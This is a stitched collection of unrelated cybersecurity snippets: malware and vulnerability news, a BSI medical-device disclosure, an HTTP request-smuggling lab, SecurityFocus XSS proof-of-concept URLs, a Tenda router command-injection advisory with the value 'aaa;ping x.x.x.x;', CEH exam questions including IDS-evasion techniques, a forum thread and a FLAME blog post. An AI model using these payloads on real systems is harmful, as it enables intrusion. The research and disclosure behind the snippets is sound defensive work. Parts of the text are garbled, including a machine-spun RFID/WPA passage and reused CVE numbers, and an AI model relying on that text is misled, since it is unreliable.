Sonar reportedly notified RarLab of the flaw on May 04, and the company released a patch on May 06 as part of version 6.12. Other versions of the software, including those for Windows and Android operating systems, are not affected by the vulnerability.
The fix comes nearly a year after Zimbra was mentioned in a joint US and UK government report identifying the company as a possible target for Russian spies. |
Conference paper Open Access
Volumetric (Distributed) Denial of Service attacks remain one of the major threats for any organization, capable of saturating most Internet access links through the usage of botnets and amplification techniques. The only effective mitiga- tion mechanism today is the redirection of the network traffic towards scrubbing centers; this protects the Internet pipe of the victim, but does not prevent wasting resources in other parts of the network.
In this paper, we leverage the cloud-native design of the 5G architecture to monitor traffic statistics at the edge of the network, which are then processed by a powerful Analytics ToolKit (ATk). Our work is based on the framework designed by the ASTRID project, which allows to automatically change the inspection probes while chasing a better balance between the granularity of the collected data and the overhead. We demonstrate our approach for an NTP amplification attack; the ATk is first trained with historical data and then used to detect deviations from the expected traffic profile, by switching between normal/warning/alert states. Our results show that it can correctly distinguish between periodical fluctuations of requests and attacks. |
Manipulating Medical Devices
The Federal Office for Information Security (BSI) aims to sensitize manufacturers and the public regarding security risks of networked medical devices in Germany. In response to the often fatal security reports and press releases of networked medical devices, the BSI initiated the project Manipulation of Medical Devices (ManiMed) in 2019. In this project, a security analysis of selected products is carried out through security assessments followed by Coordinated Vulnerability Diclosure (CVD) processes. The project report was published on December 31, 2020, and can be accessed on the BSI website .
This blog post details the security assessment of the Space infusion and syringe system from the German manufacturer B. Braun Melsungen AG (hereafter referred to as B. Braun).
The B. Braun therapy system comprises different infusion and syringe pumps grouped into docks with a communication module called SpaceCom. A central management software called OnlineSuite allows monitoring pumps and configuring drug libraries.
The inspected components were the SpaceCom communication module, two Infusomat Space infusion pumps and two Perfusor Space syringe pumps, and the central management software called Online Suite with a full feature set license.
Issues with the OnlineSuite application’s file upload and file download functionalities were identified during the security assessment. These vulnerabilities allow unauthenticated attackers to upload and download arbitrary files from and to the OnlineSuite server (CVE-2020-25172). This vulnerability can be exploited to either cause a Denial of Service (DoS) of the web application or to execute arbitrary code on the server (CVE-2020-25174) via DLL hijacking.
Multiple issues concerning the session management and authentication were identified in the SpaceCom’s administrative web interface. The application is vulnerable to a session fixation attack (CVE-2020-2515) that allows an attacker to forge controlled session tokens for users.
Multiple injection vectors such as Cross-Site Scripting (XSS) (CVE-2020-25158) and unvalidated redirects and forwards (CVE-2020-25154) were identified in the web application. Furthermore, the login page is vulnerable to XPath injections (CVE-2020-25162) that enable attackers to extract usernames and password hashes which are improperly hashed (CVE-2020-25164). An authenticated arbitrary file upload vulnerability (CVE-2020-2515) combined with an unvalidated symbolic link and local privilege escalations (CVE-2020-16238) enables attackers to execute commands as the root user.
Firmware images are protected against modifications with a hash that is included in the image’s header (CVE-2020-25166). An attacker can tamper with firmware images and calculate valid checksums to provide manipulated firmware images.
The vulnerabilities result in a compromise of the Online Suite as well as the SpaceCom. Attackers might be able to prepare attacks to further connected systems such as Electronic Medical Record (EMR) systems. The integrity or operation of the infusion and syringe pumps is not affected. The manufacturer identified no patent risk. Updates were provided for the OnlineSuite as well as the SpaceCom and announced to the customers .
Bundesamt für Sicherheit in der Informationstechnik (BSI). Veröffentlichungen. Online (accessed January 12, 2021): https://www.bsi.bund.de/DE/Themen/DigitaleGesellschaft/eHealth/Medizintechnik/Veroeffentlichungen/cybermed_node.html
ICS Medical Advisory (ICSMA-20-296-01): B. Braun OnlineSuite. October 22, 2020. Online (accessed January 12, 2021): https://us-cert.cisa.gov/ics/advisories/icsma-20-296-01
ICS Medical Advisory (ICSMA-20-296-02): B. Braun SpaceCom, Battery Pack SP with Wi-Fi, and Data module compactplus. October 22, 2020. Online (accessed January 12, 2021): https://us-cert.cisa.gov/ics/advisories/icsma-20-296-02
B. Braun Melsungen AG. Security Advisories. Online (accessed January 12, 2021): https://www.bbraun.com/en/products-and-therapies/services/b-braun-vulnerability-disclosure-policy/security-advisory.html
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Author Of this post: Julian Suleder |
Wireless Security Measures, Privacy attacks, Policies
In the recent years home wireless threats have become extremely common. In this study we are going to review the risks and types of attacks users should be aware, when using home wireless networks. We are going to determine which type of network is more secure, and how can users protect themselves from privacy attacks. Many programs have already used examples on how easy it is to steal people's credit card information or find out what they are up to. Cyber criminals can simply park down their van outside the person's home and see their screen perfectly. It is very scary; still not enough advice is available from network providers.
In the below study we are going to review wireless networks in general, as well as different security measures, companies should use. By the end of the study we are going to look into policies and procedures, and determine the weak points, causing the most risks. We will finally analyse the security risks, and their consequences.
[...] Customers should be able to contact the support desk for advice. How to change policies to prevent cyber attack Obviously, it is not only the end user's responsibility to stay safe online. Wireless network providers should also ensure they are protecting their customers' data and privacy. The following steps should be made by companies, to ensure they are providing the best advice and support to their users Certifying interoperability of products and technology, to ensure users' security 2. Providing clear instructions with regards to privacy settings and setting up a separate department giving advice to customers regarding to security concerns 3. [...]
[...] (US-CERT, Using Wireless Technology Securely, Produced 2006, Cyber Security Tip) Changing the Password The majority of users keep on using the default manufacturer password. The password should be changed immediately after the purchase, and recommended to be altered every 3 months. Avoiding File Sharing File sharing puts wireless network users into the biggest risk. File sharing should be disabled as default. If the user needs to connect different computers in the house, they should protect the function by a very strong password, containing non-alphanumeric characters. [...]
[...] 33) Conclusion Customers and wireless network providers have a shared responsibility to ensure cyber-attacks can be excluded. However, Internet criminals are ahead of the industry, steps should be made by Governments and service providers to educate Internet users regarding to the risks of wireless networks. Studies and research should be carried out to determine the best ways to make the networks more secure, without making them more complicated or slower. The next challenge the industry is going to face will be 3G systems on Smart Phones and Android phones. [...]
[...] Changes Needed in Wireless Security Measures With the development of wireless technology it is important that network providers are protecting their users from malicious attacks. Developments are needed to ensure that the wireless network of the future is going to be safer and not only faster. That is why providers should invest more in research and analyse security risks. The below study will attempt to outline the guidelines and risks regarding wireless technology. The Outline of the Study In the recent years home wireless threats have become extremely common. [...]
[...] The malicious user might engage in an illegal activity, user the original subscriber's connection. It is very hard to prove that it was not the client who initiated the content or transaction As already introduced in the preface, the technology, malicious users are applying, allows them to monitor the user's activity. This way they are able to steal important personal details and commit fraud. They can get hold of the wireless user's passwords, and use their credit card online, or create a cloned card to use Some Cyber attacks are more direct, and cause immediate damage to the user's computer, files and network connection. [...]
using our reader. |
After the installation of SafeGuard Device Encryption, delayed write failures may be reported by the operating system. This happens right after installing the kernel onto the file system. This may be caused by executing many parallel file I/O operations during the next boot, right after manipulating the file system.
Known to apply to the following Sophos product(s) and version(s)
SafeGuard Device Encryption as of version 5.40
All supported operating systems
Windows XP SP2, SP3
What To Do
An alternative way to install the SafeGuard Device Encryption Kernel, which avoids delayed write errors, can be forced by adding the following registry value:
Key: System\CurrentControlSet\Control\Session Manager
Value Name: AllocMode (DWORD)
This registry value must be added before executing the SafeGuard Device Encryption setup. |
You are gathering competitive intelligence on an organization. You notice that they have jobs listed on a few Internet job-hunting sites. There are two jobs for network and system administrators. How can this help you in foot printing the organization?
A. To learn about the IP range used by the target network
B. To identify the number of employees working for the company
C. To test the limits of the corporate security policy enforced in the company
D. To learn about the operating systems,services and applications used on the network
TCP packets transmitted in either direction after the initial three-way handshake will have which of the following bit set?
A. SYN flag
B. ACK flag
C. FIN flag
D. XMAS flag
The programmers on your team are analyzing the free, open source software being used to run FTP services on a server in your organization. They notice that there is excessive number of functions in the source code that might lead to buffer overflow. These C++ functions do not check bounds. Identify the line in the source code that might lead to buffer overflow?
What framework architecture is shown in this exhibit?
A. Core Impact
C. Immunity Canvas
Which of the following steganography utilities exploits the nature of white space and allows the user to conceal information in these white spaces?
A. Image Hide
You have chosen a 22 character word from the dictionary as your password. How long will it take to crack the password by an attacker?
A. 16 million years
B. 5 minutes
C. 23 days
D. 200 years
While testing web applications, you attempt to insert the following test script into the search area on the company’s web site:
<script>alert(‘Testing Testing Testing’)</script>
Later, when you press the search button, a pop up box appears on your screen with the text "Testing Testing Testing". What vulnerability is detected in the web application here?
A. Cross Site Scripting
B. Password attacks
C. A Buffer Overflow
D. A hybrid attack
What techniques would you use to evade IDS during a Port Scan? (Select 4 answers)
A. Use fragmented IP packets
B. Spoof your IP address when launching attacks and sniff responses from the server
C. Overload the IDS with Junk traffic to mask your scan
D. Use source routing (if possible)
E. Connect to proxy servers or compromised Trojaned machines to launch attacks
Bob was frustrated with his competitor, Brownies Inc., and decided to launch an attack that would result in serious financial losses. He planned the attack carefully and carried out the attack at the appropriate moment.
Meanwhile, Trent, an administrator at Brownies Inc., realized that their main financial transaction server had been attacked. As a result of the attack, the server crashed and Trent needed to reboot the system, as no one was able to access the resources of the company. This process involves human interaction to fix it.
What kind of Denial of Service attack was best illustrated in the scenario above?
A. Simple DDoS attack
B. DoS attacks which involves flooding a network or system
C. DoS attacks which involves crashing a network or system
D. DoS attacks which is done accidentally or deliberately
Johnny is a member of the hacking group Orpheus1. He is currently working on breaking into the Department of Defense’s front end Exchange Server. He was able to get into the server, located in a DMZ, by using an unused service account that had a very weak password that he was able to guess. Johnny wants to crack the administrator password, but does not have a lot of time to crack it. He wants to use a tool that already has the LM hashes computed for all possible permutations of the administrator password.
What tool would be best used to accomplish this?
Download Latest ECCouncil 312-50v8 Real Free Tests , help you to pass exam 100%. |
The emails would have the faux emblem, fonts, call-to-action buttons, colors, etc., like the trusted sources. Anti-virus and anti-malware products rely on updated definitions to establish and repel new attack sources. Sniffing assaults work on numerous layers depending on the motive of the attack. It remains vital for the hacker to know the precise protocols and tag and reader data for this method to work. Eavesdropping, prefer it sounds, occurs when an unauthorized RFID reader listens to conversations among a tag, and the reader then obtains important data. Like eavesdropping, the hacker listens for communication between a tag and a reader, after which he intercepts and manipulates the information. Replay assaults build on eavesdropping and particularly happen when a part of verbal exchange in an RFID gadget is recorded and then ‘replayed’ at a later time to the receiving device to steal info or acquire access.
The fraudster was then able to transfer cash from the victim’s account. Configure dynamic binding table-based IPSG. Allow IPSG on an interface or VLAN as required. WPA3 introduces a new difference for the configuration of devices that lack enough user interface capabilities by permitting nearby units to function and enough UI for network provisioning purposes, thus mitigating the need for WPS. TKIP employs a per-packet key, which means that it dynamically generates a brand new 128-bit key for every packet and thus prevents the types of assaults that compromise WEP. Spoofing attacks may happen on an extra technical level through DNS or IP handle spoofing. This attack requires nothing greater than the mind of a hacker and a cellular phone read more.
In reality, the process is so simple it solely requires a primary degree of understanding of this kind of community tool. Select one sort of entry in response to your network kind. Dynamic binding entries embody IPv4 and IPv6 entries. Assume that IPv4 hosts acquire IP addresses using DHCP, and DHCP snooping will be configured to generate DHCP snooping dynamic binding entries. Under are 7 known safety attacks hackers can carry on an RFID system. RFID systems, like top electronics and networks, are prone to both physical and electronic attacks. Truly, small businesses are attacked more often because many firms should not have the proper infrastructure to fend off malicious assaults. |
HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it.
Reproduction and proof of concept
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1 Host: lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked 5e POST /404 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
The second request should receive an HTTP 404 response.
An attacker will need to smuggle a request to the back-end server, so that a subsequent request for
/ (the web root) triggers a
404 Not Found response. In this case the TE.CL vulnerability must be exploited via differential response. |
No description provided by source.
source: http://www.securityfocus.com/bid/17391/info BASE is prone to a cross-site scripting vulnerability. The application fails to properly sanitize user-supplied input in the 'PrintFreshPage' function. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. This issue affects version 1.2.4; other versions may also be vulnerable. http://www.example.com/base/base_graph_main.php?back="><script>alert("780")</script><" http://www.example.com/base/base_stat_ipaddr.php?ip=184.108.40.206&netmask="><script>alert("780")</script><" http://www.example.com/base-snort/base_qry_alert.php?submit=<script>780</script>&sort_order= |
October 2nd, 2001, 02:33 PM
Can anyone tell me the diff between a worm and a virus?
It seems to me that the so called "NIMBDA VIRUS" is actually a worm. Worms can split off just as virus's do. I have noticed that places that talk about the Nimbda "virus" use worm and virus interchageably. That really pisses me off. Can anyone help tripstone out. Thanks much...
You can kiss my 127.0.0.1
I\'m a loser baby...so why doncha kill me?
October 2nd, 2001, 04:50 PM
Nimda is actually both, its propogates without intervention as a worm using IIS vulnerabilities and propogates through user intervention as do virII (). It is mail-enabled as a virus, also using web pages and network shares.
I\'m not a BOT I\'m a beer droid!
Prepare to be Assimilated.
October 2nd, 2001, 08:02 PM
Just call them whatever you want. The definition is really fuzzy.
I THINK, originally, Viruses needed human interaction to spread (disk/swap, etc.), worms could do it automatically (network propogation, intrustion, and reproduction). But, worms use the infrastructure (network devices) that people made, so it is a person-virus interaction anyway....
[HvC]Terr: L33T Technical Proficiency
October 2nd, 2001, 08:33 PM
OK, lets take Nimda for example.
it was a worm/virus all in one. parts of it were the virus, the other parts were the worm.
A virus needs a carrier in order to be delivered. Hence the worm.
worms, by themselves are relatively harmless, its usually the payload(virus) that does the damage. the worm does the traversal and spreading, copying etc, the virus is that nice little destructive part once the worm finds its target. the part that replaces and deletes files or infects the .exe's.
Taken from Syamntec.com :
However, by using the W32.Nimda.A@mm worm as a delivery mechanism, the attacker is able to compromise a vulnerable IIS server remotely..............
simply put : a virus infects......A worm crawls or spreads.
Antionline in a nutshell
\"You\'re putting the fate of the world in the hands of a bunch of idiots I wouldn\'t trust with a potato gun\"
Trust your Technolust
October 9th, 2001, 04:51 PM
virus reproduces, usually without your permission or knowledge. In general terms they have an infection phase where they reproduce widely and an attack phase where they do whatever damage they are programmed to do (if any). There are a large number of virus types.
or u can also say that a virus is a program that reproduces its own code by attaching itself to other executable files in such a way that the virus code is executed when the infected executable file is executed.
There are three more types of software threats which include
A worm is a self-reproducing program that does not infect other programs as a virus will, but instead creates copies of itself, that create even more copies. |
Researchers from FireEye have discovered a nasty zero-day exploit that bypasses the ASLR and DEP protections in Microsoft Windows andis being used in targeted attacks.
The security flaw is a remote code execution vulnerability (CVE-2014-1776) that affects versions of IE6 through IE11, which in total accounted for 26.25% of the browser market in 2013.
The campaign is currently targeting US-based firms tied to the defense and financial sectors, a FireEye spokesperson told SecurityWeek, and is specifically targeting IE9 through IE11.
“The exploit leverages a previously unknown use-after-free vulnerability, and uses a well-known Flash exploitation technique to achieve arbitrary memory access and bypass Windows’ ASLR and DEP protections,” FireEye wrote in a blog post Saturday.
Microsoft also issued a securityadvisoryon Saturday and said they were working with partners in its Microsoft Active Protections Program (MAPP) to extend broader protections to customers as soon as possible.
If successfully exploited, an attacker could gain the same user rights on the impacted system as the current user, Microsoft said. Accounts configured with fewer rights on the could be less impacted than users who operate with administrative privilages.
FireEye has named the campaign “Operation Clandestine Fox,” but has shared very little details other than saying the group behind the exploit has been the first to have access to a select number of browser-based 0-days in the past.
FireEye warned that the attackers are “extremely proficient at lateral movement and are difficult to track, as they typically do not reuse command and control infrastructure.”
“They have a number of backdoors including one known as Pirpi that we previously discussed here,” the researchers wrote. “CVE-2010-3962, then a 0-day exploit in Internet Explorer 6, 7, and 8 dropped the Pirpi payload discussed in this previous case.”
Because the attack leverages Adobe Flash, users who do not have Flash installed or have the Flash plugin for IE disabled, will be protected. Additionally, several versions of Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) will break the exploit.
Additional technical details are available from FireEye. Microsoft also has provided some mitigation information.
Managing Editor, SecurityWeek.Previous Columns by Mike Lennon:Nasty IE Zero-Day Used in Attacks Against Defense, Financial Sectors: FireEyeAIG Expands Coverage to Include Physical Damage Caused By Cyber Attacks150 Million Downloaded Android Apps Vulnerable to Heartbleed: FireEyeNIST Pulls Dual_EC_DRBG Algorithm from Random Number Generator RecommendationsCisco Unveils New Managed Threat Defense Service
Tags: Network Security |
Switch in Malware Distribution
Monday, October 3, 2016 @ 03:10 PM gHale
An exploit kit stopped sending out malware so attackers are now using the malware’s botnet capabilities to deliver the payload, researchers said.
Tofsee, malware in existence since 2013, allows attackers to conduct activities, including click fraud, cryptocurrency mining, DDoS attacks and sending spam, said researchers at Cisco’s Talos team.
Up until June 2016, attackers sent out the malware using the RIG exploit kit and malvertising campaigns. Then, after the Angler exploit kit went away, attackers used RIG to deliver other payloads.
After RIG stopped delivering Tofsee, cybercriminals turned to email spam campaigns to infect computers. Usually, the Tofsee botnet sent spam emails, however, in August, researchers found the spam messages changed and started delivering Tofsee malware downloaders.
The volume of these spam emails increased since mid-August, reaching more than 2,000 messages on some days in September, Talos researchers said.
The spam emails are adult-themed and they purport to come from women in Russia and Ukraine. Recipients receive a set of instructions to download and open the ZIP archive attached to the messages as it supposedly contains pictures of the sender. |
The MANGA(aka Dark Mirai) botnet operators’ exploitation of a vulnerability in the TP-Link TL-WR4840N EU V5 has come to light. The vulnerability allows hackers to execute codes remotely.
Botnets keep evolving—keep getting better— to target new vulnerabilities for breaching the systems.
- MANGA is exploiting a bug labelled CVE-2021-41653, which allows the attackers to execute codes remotely on the device.
- A proof of concept of the vulnerability being exploited was published in November. Not many had installed the patch.
- Two weeks after TP-Link released the firmware, MANGA started exploiting the vulnerability.
MANGA operators are using the RCE flaw to force the devices to download and carry out a malicious script.
- The malicious script (tshit[.]sh) when executed, downloads the main binary payloads with two requests.
- However, the actors still require authentication for this exploit, which is easy to overcome if the device has default credentials.
- Just like the basic variant of Mirai, MANGA identifies infected machines’ architecture and downloads matching payloads. Subsequently, it blocks connections to most targeted ports to stop other botnets from infecting the captured device.
- Ultimately, the botnet waits for a command from the C2 server to carry out a Denial-of-Service (DoS) attack.
Unpatched devices are vulnerable and can affect the system profoundly. Therefore, please keep your devices updated. |
Unauthorized (rogue) Wireless Access Points and Routers
University Policy 3342-9-01.1 prohibits the deliberate degradation of the performance of network resources or access.
The operation of unauthorized 802.11(A, B, or G) wireless access points or routers in buildings with university provided wireless networking causes radio frequency (RF) interference with the university wireless devices. This RF interference degrades and/or inhibits the use of the university wireless network by students, faculty, staff, and other authorized personnel. In order to maintain the highest level of wireless services, particularly in academic buildings where class delivery depends on the optimal operation of the university wireless network, all unauthorized (rogue) wireless devices that are interfering with the university wireless network must be disabled.
To authorize the operation of 802.11 wireless devices in areas with university provided 802.11 wireless, a request must be submitted to Information Services for evaluation and approval. When an unauthorized rogue wireless AP is detected by the university wireless network, the following procedure will be followed:
1. Information Services staff will open an Incident ticket.
2. The rogue AP will be located and its description and owner recorded in the ticket.
3. The owner of the rogue AP will be instructed on how to migrate services from the rogue AP to the university wireless network.
4. The owner of the rogue AP will have 7 days to comply, unless it is interfering with class delivery, in which case it must be removed immediately.
5. If the rogue AP is still operational after 7 days, the wireless network will disable its radio, and the wired network will block all traffic to and from the rogue AP, and the owner will be notified.
6. If the rogue AP is not immediately removed, the university will physically remove it.
7. If removed by the university, the owner will be notified and instructed on the procedure to reclaim the device.
This page is maintained by the Office of Security and Access Management |
- Starting from China, the LemonDuck crypto-mining malware has spread to several global locations especially in North America and Asia.
- Microsoft warns that it uses sophisticated tools to attack enterprise solutions and spread across platforms.
Crypto mining malware continues to take a toll on online users! Computing giant Microsoft recently warned Windows users to beware of the infamous cross-platform crypto-mining malware LemonDuck. Besides windows, this malware is also attacking users of the Linux platform.
In its official announcement, Microsoft noted that LemonDuck has been deploying a variety of spread mechanisms for maximizing impact. Its traditional bot and mining activities have been stealing users’ credentials while removing security controls.
Microsoft also added that the LemonDuck malware “spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity”. One of the biggest threats of LemonDuck is that it works cross-platform. Thus, it is very notorious and holds a strong ability to propagate rapidly across platforms. The announcement notes:
LemonDuck’s threat to enterprises is also in the fact that it’s a cross-platform threat. It’s one of a few documented bot malware families that targets Linux systems as well as Windows devices. It uses a wide range of spreading mechanisms—phishing emails, exploits, USB devices, brute force, among others—and it has shown that it can quickly take advantage of news, events, or the release of new exploits to run effective campaigns.
Thus, LemonDuck acts as a loader on follow-on attacks that involve credential theft. Besides, it can install next-stage implants that serve as a gateway to a number of malicious threats, including ransomware.
Expanding on the global map
In the early years, LemonDuck used to target users in China. However, its operations have expanded to several other countries. Today, it affects a large geographical range including North America and Asia.
This year, LemonDuck has started using diversified commands and sophisticated infrastructure and tools. the Microsoft announcement notes:
LemonDuck still utilizes C2s, functions, script structures, and variable names for far longer than the average malware. This is likely due to its use of bulletproof hosting providers such as Epik Holdings, which are unlikely to take any part of the LemonDuck infrastructure offline even when reported for malicious actions, allowing LemonDuck to persist and continue to be a threat.
Lemonduck frequently uses the open-source material build from resources used by other botnets. Thus, several components of the threat look similar. But computing giant Microsoft has dug in two distinct operating structures wherein both use LemonDuck malware but are operated by different entities with separate goals.
The “Duck” infrastructure is persistent with running campaigns and performs limited follow-on activities. The infrastructure works in conjunction with edge device compromise and serves as an infection method. It explicitly uses the “LemonDuck” script.
The second infrastructure is the “Cat” infrastructure that has two domains with “cat” in the name. This always exploited the vulnerabilities in Microsoft Exchange Server. Today, cat infrastructure is present in attacks “backdoor installation, credential and data theft, and malware delivery”.This infrastructure often delivers the malware Ramnit.
Researchers Spot New Cryptocurrency Stealing Malware Advertised Under a Subscription Model
A cryptocurrency-related malware program has been advertised on darknet forums as the “leading way to make money in 2021,” raising alarms among the cybersecurity community. Palo Alto Networks published a report on the malicious app Westeal, detailing the author’s ties with other types of malware that steals major streaming services accounts.
Westeal Claims to Be Immune Against Major Antivirus Software
According to the cybersecurity firm, “Westeal” is an evolution of “Wesupply Crypto Stealer,” another malicious crypto software that has been sold since May 2020. Findings suggest that Wesupply’s evolution has been advertised since mid-February 2021.
Moreover, people who acquire the malicious app get access to a web panel to handle all the operations, including a “victim tracker panel.”
A detail that raises concerns from Palo Alto Networks is the fact that Westeal is reportedly immune to major antivirus software.
The malware works with a subscription model, and “Complexcodes,” the anon author of the app, profits by charging 20 euros ($24) monthly, 50 euros ($60) for three months, and 125 euros ($150) yearly.
The Malware Is a ‘Shameless’ Crypto Stealer, Researchers Say
The cybersecurity firm provides more details on the malware:
In order to “steal” cryptocurrency from a victim, Westeal uses regular expressions to look for strings matching the patterns of bitcoin and ethereum wallet identifiers being copied to the clipboard. When it matches these, it replaces the copied wallet ID in the clipboard with one supplied by the malware. The victim then pastes the substituted wallet ID for a transaction, and the funds are sent instead to the substitute wallet.
Still, Palo Alto Networks qualifies Westeal as a “shameless” malware:
Westeal is a shameless piece of commodity malware with a single, illicit function. Its simplicity is matched by a likely simple effectiveness in the theft of cryptocurrency. The low-sophistication actors who purchase and deploy this malware are thieves, no less so than street pickpockets. Their crimes are as real as their victims. The fast and simple monetization chain and anonymity of cryptocurrency theft, together with the low cost and simplicity of operation, will undoubtedly make this type of crimeware attractive and popular to less-skilled thieves.
ElectroRAT Malware Targeting to Empty Your Crypto Wallets
Security researchers at Intezer Labs said they had discovered a remote access trojan (RAT). Cybercriminals fabricated fake crypto apps to trick users into installing a new strain of malware on their systems, with the apparent goal of stealing victims’ funds. The apps target wallets of thousands of Windows, Linux, and macOS users, and were built on top of Electron, an app-building framework.
The campaign was uncovered in December 2020, but researchers suspect the group began spreading their malware as early as January 8, 2020. The cross-platform RAT malware is written from ground-up in Golang. The malware was named ElectroRAT after its discovery.
The Malicious Apps
The researchers noted that ElectroRAT is the latest attacker case using Golang to develop multi-platform malware and evade most antivirus engines. They added that seeing various information stealers trying to collect private keys to access victims’ wallets has become popular. However, it is unusual to see tools written from scratch and targeting multiple operating systems for these purposes.
Intezer Labs believe the hackers depended on three cryptocurrency-related apps for their gameplan.
The fake apps were named Jamm, eTrade/Kintum, and DaoPoker, and were hosted on dedicated websites at jamm[.]to, kintum[.]io, and daopker[.]com, respectively. The cybercriminal created and injected their RAT into custom Electron applications to behave like crypto trade management tools.
The first two apps claimed to provide a simple platform to trade cryptocurrency, while the third was a cryptocurrency poker app. Immediately after launching on a victim’s computer, the apps would show a foreground user interface designed to distract the victims’ from the malicious ElectroRAT background process.
According to an Intezer report, the malicious apps are hosted on websites that were explicitly built for this campaign. The threat actors had also gone an extra mile to promote them on social media apps (Twitter and Telegram) and dedicated online forums (bitcointalk and SteemCoinPan) to lure unsuspecting users into acquiring the tainted apps.
The Victims of The ElectroRAT Malware
Thousands of victims have uploaded the fake apps between January and December 2020, with one of the Pastebin pages used by the malware to retrieve command-and-control (C2) server addresses having been accessed almost 6,500 times.
Intezer observed that the malicious apps and the ElectroRAT binaries are probably low detectable or completely undetectable in VirusTotal at the time of this writing.
After getting infected and having their wallets drained by the malware, some victims have tried to warn others of the dangerous apps.
Users who have fallen victim to this campaign need to kill the process, delete all malware files, transfer their funds to a new wallet, and make new passwords.
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This script is Copyright (C) 2005-2012 Tenable Network Security, Inc.
The remote web server contains a CGI script that allows execution of
The remote host is running AWStats, an open source web analytics tool used for
analyzing data from internet services such as web, streaming, media, mail and FTP
The version of AWStats installed on the remote host collects data
about the web referrers and uses them without proper sanitation in an
eval() statement. Using specially crafted referrer data, an attacker
can cause arbitrary Perl code to be executed on the remote host within
the context of the affected application once the stats page has been
regenerated and when a user visits the referer statistics page.
Note that successful exploitation requires that at least one URLPlugin
See also :
Upgrade to AWStats 6.5 or later.
Risk factor :
Medium / CVSS Base Score : 5.1
CVSS Temporal Score : 4.2
Public Exploit Available : true |
Experts at ESET Research Labs discovered a new data wiper, dubbed CaddyWiper, that was employed in attacks targeting Ukrainian organizations.
The security firm has announced the discovery of the malware with a series of tweets:
“This new malware erases user data and partition information from attached drives,” ESET Research Labs reported. “ESET telemetry shows that it was seen on a few dozen systems in a limited number of organizations.”
Similar to HermeticWiper deployments, CaddyWiper being deployed via GPO, a circumstance that suggests the attackers had initially compromised the target’s Active Directory server.
In order to maintain access to the target organization while still disturbing operations, the CaddyWiper avoids destroying data on domain controllers. CaddyWiper uses the DsRoleGetPrimaryDomainInformation() function to determine if a device is a domain controller.
The CaddyWiper sample analyzed by ESET was not digitally signed, the malware was compiled.
Microsoft researchers also observed another wiper that was employed in attacks against Ukraine, it was tracked as WhisperGate.
In Mid-February, the Security Service of Ukraine (SSU) today revealed the country was the target of an ongoing “wave of hybrid warfare” conducted by Russia-linked malicious actors. Threat actors aim at destabilizing the social contest in the country and instilling fear and untrust in the country’s government. Data wiper usage was part of this hybrid warfare strategy.
(SecurityAffairs – hacking, CaddyWiper) |
type:Remote Command Execution
author:Jinwen Zhou、Yifeng Li;
## Vulnerability description
We found an Command Injection vulnerability and buffer overflow vulnerability in Tenda Technology Tenda's **G1 and G3** routers with firmware which was released recently，allows remote attackers to execute arbitrary OS commands from a crafted GET request.
### Remote Command Injection vulnerability
In **formSetUSBPartitionUmount** function, the parameter **"usbPartitionName"** is not filter the string delivered by the user, so we can control the **usbPartitionName** such as **"aaa;ping x.x.x.x;"** to attack the OS.
### Remote Command Injection
We set the value of **usbPartitionName** as **aaa;ping x.x.x.x;** and the router will excute **ping** command. |
One of the greatest concerns of an information security person is doing something that inadvertently enables someone to have access or even take control of data or systems that they should not have access to. In reality this is exactly what FLAME is doing – taking advantage, in a very planned way, of a number of small vulnerabilities that exist in systems. How it does this is very creative and very dangerous. It exposes not just those systems that are infected today but demonstrates an attack vector that may be available for some time. This post will try to explore those ideas.
The FLAME malware has been dissected over the last few days and one of the most disturbing finds that has come out is the discovery of 3 certificates that appear to be rooted in the Microsoft Root CA. These certificates are used for many purposes, including code signing and CRL signing. We will get back to why that is important in a bit.
The big question for many is how did FLAME get into systems? The, apparently, fraudulent certificate seems to be the key to that. The creators of FLAME appear to have created a certificate that is trusted by the Microsoft Root CA. It appears that this was accomplished by taking advantage of a weakness in the hashing algorithm that was used to create the CA's certificate. The hashing algorithm that was used was MD5. This algorithm has been shown to have a weakness that allows an entity with enough computing resources to create a whole new certificate with the same hash. This is of course the working theory, as true confirmation will require more investigation, but this is not the first time a certificate has had its hash recreated using different data. In fact this was first done in 2005 leveraging networked PS3 Playstations. Once this certificate was created it was a matter of injecting it into a system and since it appeared to be trusted by the Microsoft Root CA most applications would automatically trust it, including the OS.
This is where the malware developers were very creative. In creating the certificate using the hash of existing Microsoft PCA and RA certificates they were able to be trusted for the same purpose, which included code validation and CRL signing. The CRL signing becomes important since the CRL issued by a CA is the list of certificates that were issued by the CA that are no longer trusted. Having the capability to sign a CRL meant that even if a bad certificate was found the perpetrators could easily just issue a CRL that did not have the certificate on it.
It appears that FLAME was intended to perform a similar function as to that of Duqu, an earlier piece of malware. There are similarities in that the intended purpose of both appears to be data collection. What is interesting is that Duqu did appear to collect certificates and, where possible, private keys. This may indicate some linkage between the two but right now that would be pure speculation. Duqu does have similarities to the earlier discovered Stuxnet malware code, which was very targeted in its actions. It performed some data collection activities, but its major purpose was to disable command and control systems in SCADA-like systems.
The question for most readers at this point is - "Why should I be concerned?"
Well the concern arising from this is a very real concern. It is not a concern that FLAME may affect you, even though it is possible that it could, but so far it has affected a very targeted set of systems. The greater concern is the attack vector that was used.
Much like Duqu and Stuxnet, FLAME leveraged vulnerabilities within the Microsoft platform. Duqu and Stuxnet leveraged zero-day vulnerabilities for code delivery, FLAME apparently took advantage of a weak hashing algorithm that was used on a set of certificates that had broad application use. This type of vulnerability also raises questions about processes within Microsoft when they create CAs and when they assign usage parameters. These concerns include:
Use of MD5 for signature hashing
Broad definition of key usage for given certificates
Lifetime of intermediate CAs given the ever-changing technology environment
So outside of the obvious issues for anyone that was impacted directly by FLAME this does highlight a number of weaknesses in managing environments. One's own environment may be greatly influenced by those you deal with. In this case an injection occurred, likely, through a software registration process. It was achievable due to poor management of signature algorithms and certificate usage settings. This attack demonstrates that these types of attacks are achievable and likely have been for at least 5 years.
So if you were not paying attention to what certificates were in your stores before I hope you will now. You need to:
Look for known bad ones;
Evaluate what roots you trust, and why;
Look at what signing, hashing and key lengths are used and;
Look at what certificate lifetimes are indicated
